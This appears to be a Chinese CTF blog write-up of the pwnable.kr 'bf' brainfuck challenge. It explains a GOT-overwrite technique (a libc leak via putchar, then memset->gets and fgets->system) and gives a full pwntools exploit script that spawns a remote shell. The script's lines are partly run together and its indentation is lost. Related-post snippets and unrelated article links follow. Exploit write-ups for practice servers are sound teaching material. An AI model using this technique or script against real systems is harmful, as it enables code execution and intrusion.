pwnable.kr第二关第一题:

=========================================

Download : http://pwnable.kr/bin/bf
Download : http://pwnable.kr/bin/bf_libc.so

Running at : nc pwnable.kr 9001

==========================================

一人饮酒醉的僵尸?? 这次题目也更偏向于PWN了吧...(?)也没有源代码了

丢可执行文件到ida,看一遍啥意思吧..

main()

brainf**k

程序首先需要用户输入,根据用户输入的内容,依次执行个字符代表的含义。

主要起作用的是圈出的tape变量,也就是do_brainfuck函数中的p指针,这个指针位于bss段,而不是栈中...

.bss段上面是.got.plt段,也就是说这个指针离got表很近,再看一保护情况

利用思路应该是修改got表。

如何修改?就是用指针p移动到got表中,然后用getchar进行修改。

如何得到shell?可以想到的方法是利用system('/bin/sh')这条指令 ,system函数在libc中,关于libc中的地址一定有随机化,所以要考虑泄露这部分地址方法。

泄露方法可以用p指针移动到got表中,读出got地址,这个地址在调用一次xx@plt后就指向了libc中地址,注意,这很重要。

再考虑‘/bin/sh’字符串,这个可以从libc中泄露,不过该不了其他地方的地址,貌似作用不大。。。只能从用户输入入手。

main函数中这两个函数可以改为 gets(&v6);system(&v6);这样的操作。

因此需要修改的地方也就确定了

got表中

1. memset地址改成 gets地址

2. fgets地址改成system地址

此外,由于很显然,这步骤是第二次运行main函数的,需要让函数可以返回到main函数的开始部分,可以考虑用got表中putchar函数的地址覆盖为main函数地址。

泄露,也是用putchar函数。先调用putchar函数再泄露,先调用putchar函数再泄露,先调用putchar函数再泄露!!!

最终代码如下:

#coding:utf-8
import time
from pwn import *
elf = ELF('./bf')
#libc = ELF('./libc.so.6')
libc = ELF('./bf_libc.so') #function
def back(n):
print n
return '>'*n
def forward(n):
print n
return '<'*n ptr_addr = 0x0804a0a0
main_addr = 0x08048671
# got
fgets_got = elf.got['fgets']
print 'fgets_got',hex(fgets_got) putchar_got = elf.got['putchar']
print 'putchar_got',hex(putchar_got)
memset_got = elf.got['memset']
print 'memset_got',hex(memset_got)
#libc
sys_libc = libc.symbols['system']
putchar_libc = libc.symbols['putchar']
gets_libc = libc.symbols['gets']
pro = remote('pwnable.kr',9001)
#pro = process('./bf')
print pro.recv()
#print pro.recv()
payload = "."
payload += forward(ptr_addr - putchar_got)
payload += ".>.>.>."
payload += forward(3) +',>,>,>,' #main
payload += forward(3) + forward(putchar_got - memset_got )
payload += ',>,>,>,'
payload += forward(3) + forward(memset_got - fgets_got)
payload += ',>,>,>,' #sys #fgets
payload += "." print payload,len(payload)
print '='*32 pro.sendline(payload) time.sleep(1)
pro.recv(1)
putchar_libc_addr = u32(pro.recv(4))
print '[*] putchar',hex(putchar_libc_addr)
print '='*32 sys_libc_addr = putchar_libc_addr - putchar_libc + sys_libc
gets_libc_addr = putchar_libc_addr - putchar_libc + gets_libc
print '[*] system ',hex(sys_libc_addr)
print '[*] main ',hex(main_addr)
print '[*] putchar ', hex(putchar_libc_addr)
print '='*32
print '[*] putchar_got ',hex(putchar_got)
print '[*] gets ',hex(gets_libc_addr) pro.send(p32(main_addr))
#gdb.attach(pro)
pro.send(p32(gets_libc_addr))
#gdb.attach(pro)
pro.send(p32(sys_libc_addr))
#gdb.attach(pro)
##pro.recv()
#exit(0)
#print pro.recv() pro.sendline('/bin/sh\0')
#gdb.attach(pro)
time.sleep(1)
pro.interactive()

flag:

【pwnable.kr】 brainfuck的更多相关文章

  1. 【pwnable.kr】 asm

    一道写shellcode的题目, #include <stdio.h> #include <string.h> #include <stdlib.h> #inclu ...

  2. 【pwnable.kr】 [simple login]

    Download : http://pwnable.kr/bin/login Running at : nc pwnable.kr 9003 先看看ida里面的逻辑. 比较重要的信息时input变量再 ...

  3. 【pwnable.kr】 unlink

    pwnable.kr 第一阶段的最后一题! 这道题目就是堆溢出的经典利用题目,不过是把堆块的分配与释放操作用C++重新写了一遍,可参考<C和C++安全编码一书>//不是广告 #includ ...

  4. 【pwnable.kr】 memcpy

    pwnable的新一题,和堆分配相关. http://pwnable.kr/bin/memcpy.c ssh memcpy@pwnable.kr -p2222 (pw:guest) 我觉得主要考察的是 ...

  5. 【pwnable.kr】 codemap

    pwnable新的一题. download: http://pwnable.kr/bin/codemap.exe ssh codemap@pwnable.kr -p2222 (pw:guest) 这道 ...

  6. 【pwnable.kr】 uaf

    目测是比较接近pwnable的一道题.考察了uaf(use after free的内容),我觉得说白了就是指针没有初始化的问题. ssh uaf@pwnable.kr -p2222 (pw:guest ...

  7. 【pwnable.kr】input

    这道题是一道一遍一遍满足程序需求的题. 网上其他的题解都是用了C语言或者python语言的本地调用,我想联系一下pwntools的远程调用就写了下面的脚本, 执行效果可以通过1~4的检测,到最后soc ...

  8. 【pwnable.kr】cmd2

    这道题是上一个cmd1的升级版 ssh cmd2@pwnable.kr -p2222 (pw:mommy now I get what PATH environmentis for :)) 登录之后, ...

  9. 【pwnable.kr】cmd1

    最近的pwnable都是linux操作系统层面的. ssh cmd1@pwnable.kr -p2222 (pw:guest) 首先还是下载源代码: #include <stdio.h> ...

随机推荐

  1. 01Git复习笔记

    一.Git简介 Git是目前世界上最先进的分布式版本控制系统(没有之一). SVN是集中式版本控制工具. 有哪些GIT网站? https://github.com/ 全球最大的开源项目网站. http ...

  2. springboot中关于datasource的配置

    datasource spring.dao.exceptiontranslation.enabled: 是否开启PersistenceExceptionTranslationPostProcessor ...

  3. 面试官:说说Spring中的事务传播行为

    前言 在开发中,相信大家都使用过Spring的事务管理功能.那么,你是否有了解过,Spring的事务传播行为呢? Spring中,有7种类型的事务传播行为.事务传播行为是Spring框架提供的一种事务 ...

  4. 十一 Spring的AOP开发的相关术语

    SpringAOP简介: AOP思想最早是由AOP联盟组织提出的.Spring使用这种思想最好的框架. Spring的AOP有自己实现的方式,但是非常繁琐.AspectJ是一个AOP框架,Spring ...

  5. Java基础 -4.5

    循环控制 在循环语句定义的时候还有两个控制语句:break.continue break主要的功能是退出整个循环结构 continue严格来讲只是结束当前的一次调用(结束当前循环) 当执行到了cont ...

  6. 02-08Android学习进度报告八

    今天主要学习了昨天还没有学习完的Date & Time组件的知识. 首先是DatePicker(日期选择器) android:calendarTextColor : 日历列表的文本的颜色 an ...

  7. JDK各个版本的新特性jdk1.5-jdk8(转)

    原文:http://www.cnblogs.com/langtianya/p/3757993.html JDK各个版本的新特性 对于很多刚接触java语言的初学者来说,要了解一门语言,最好的方式就是要 ...

  8. Linux centosVMware Tomcat介绍、安装jdk、安装Tomcat

    一.Tomcat介绍 Tomcat是Apache软件基金会(Apache Software Foundation)的Jakarta项目中的一个核心项目,由Apache.Sun和其他一些公司及个人共同开 ...

  9. 卸载sql server 2008

    一.    SQL2008卸载. 1.从控制面板卸载 1)点击计算机右下角“开始”,点击“控制面板” 2)点击“卸载程序”. 3)在程序列表中找到“Microsoft SQL Server 2008” ...

  10. A. Optimal Currency Exchange 兑换硬币,剩下的钱最少

    A. Optimal Currency Exchange time limit per test 1.5 seconds memory limit per test 512 megabytes inp ...